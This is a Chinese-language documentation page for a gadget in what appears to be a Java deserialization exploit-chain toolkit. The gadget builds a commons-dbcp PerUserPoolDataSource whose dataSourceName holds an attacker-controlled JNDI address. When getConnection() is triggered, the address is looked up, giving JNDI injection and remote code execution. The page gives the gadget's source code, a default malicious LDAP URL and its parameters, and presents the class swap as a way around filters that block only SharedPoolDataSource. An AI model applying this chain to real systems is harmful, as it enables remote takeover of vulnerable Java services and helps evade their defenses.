CommonDbcpDataSource2.md

CommonDbcpDataSource2 JNDI（CommonDbcpDataSource2）

• 类别：javanative　别名：—　优先级：—
• 作者：—
• 依赖：org.apache.commons:common-dbcp（org.apache.commons.dbcp.datasources.PerUserPoolDataSource）

作用

构造 commons-dbcp（dbcp1）的 PerUserPoolDataSource，把 dataSourceName 设为攻击者可控的 JNDI 地址；上层触发链调用 getConnection() 时经 dataSourceName 走 InitialContext.lookup，落地为 JNDI 注入 → RCE。是 dbcp1 家族中改用 PerUserPoolDataSource 的换类变体，链尾 sink（END）。

链接标签

• 入口 tags：
  • DataSourceChains —— 归属「DataSource 触发」族。
  • SpecialPublicMethod —— 靠特定公共方法 getConnection 被触发。
  • Getter —— 也可被「getter 触发」型上游命中（connection → getConnection）。
  • END —— 链终点。
• 衔接 nextTags：无（END）。
• excludes：无。

源码剖析

@GadgetTags(tags={"DataSourceChains", "SpecialPublicMethod", "Getter", "END"})
public class CommonDbcpDataSource2 implements Gadget {
    private final String getterMethodName   = "getConnection";
    private final String getterPropertyName = "connection";
    @Param(name="Jndi地址")
    public String jndiUrl = "ldap://127.0.0.1:1389/x";

    public Object getObject() {
        PerUserPoolDataSource dataSource = new PerUserPoolDataSource();  // org.apache.commons.dbcp.datasources.*
        dataSource.setDataSourceName(this.jndiUrl);
        return dataSource;
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        context.put(ContextTag.SUPER_CLASS_NAME_KEY,   DataSource.class);
        context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection");
        context.put(ContextTag.GETTER_PARAM_NAME_KEY,  "connection");
        return this.getObject();
    }
}

PerUserPoolDataSource（dbcp1）与 SharedPoolDataSource 一样继承 InstanceKeyDataSource，getConnection() 同样经由 dataSourceName 触发 InitialContext.lookup。本环利用原理与 CommonDbcpDataSource 完全一致：getObject 仅 new PerUserPoolDataSource() 并 setDataSourceName(jndiUrl)；invoke 向 GadgetContext 写入三条触发契约（父类型 DataSource、特定方法 getConnection、getter 属性 connection），把激活方式告知上游。相对 CommonDbcpDataSource 唯一差别是 DataSource 实现类，用于在只拦截 SharedPoolDataSource 的环境下换类绕过。

参数（@Param）

字段	名称	说明	默认	可选值
jndiUrl	Jndi地址	写入 dataSourceName，getConnection 时被 JNDI lookup 解析	ldap://127.0.0.1:1389/x	任意 ldap:///rmi:// 恶意地址

适用版本与原理要点

• 依赖旧版 commons-dbcp（org.apache.commons.dbcp.datasources.PerUserPoolDataSource）。
• 换用 PerUserPoolDataSource 的主要价值在于换类绕过，JNDI 触发路径与 SharedPoolDataSource 版一致。
• 触发点 getConnection() → InitialContext.lookup(dataSourceName)，利用成败取决于 JNDI 注入本身（受高版本 JDK 的 codebase 信任限制约束）。
• 本环只产出对象；真正的 getConnection() 调用由上游 getter/特定方法触发器完成。

所属预设链

自由构件，未直接出现在 51 条预设链中（usedInChains 为空）。

关联

• 上游：CommonsBeanutils1 等 Getter 型跳板，或 SpecialPublicMethod 型触发器。
• 同族（同目录 DBCP DataSource sink）：
  • CommonDbcpDataSource（dbcp1 · SharedPoolDataSource）
  • CommonDbcp2DataSource（dbcp2 · SharedPoolDataSource）
  • CommonDbcp2DataSource2（dbcp2 · PerUserPoolDataSource）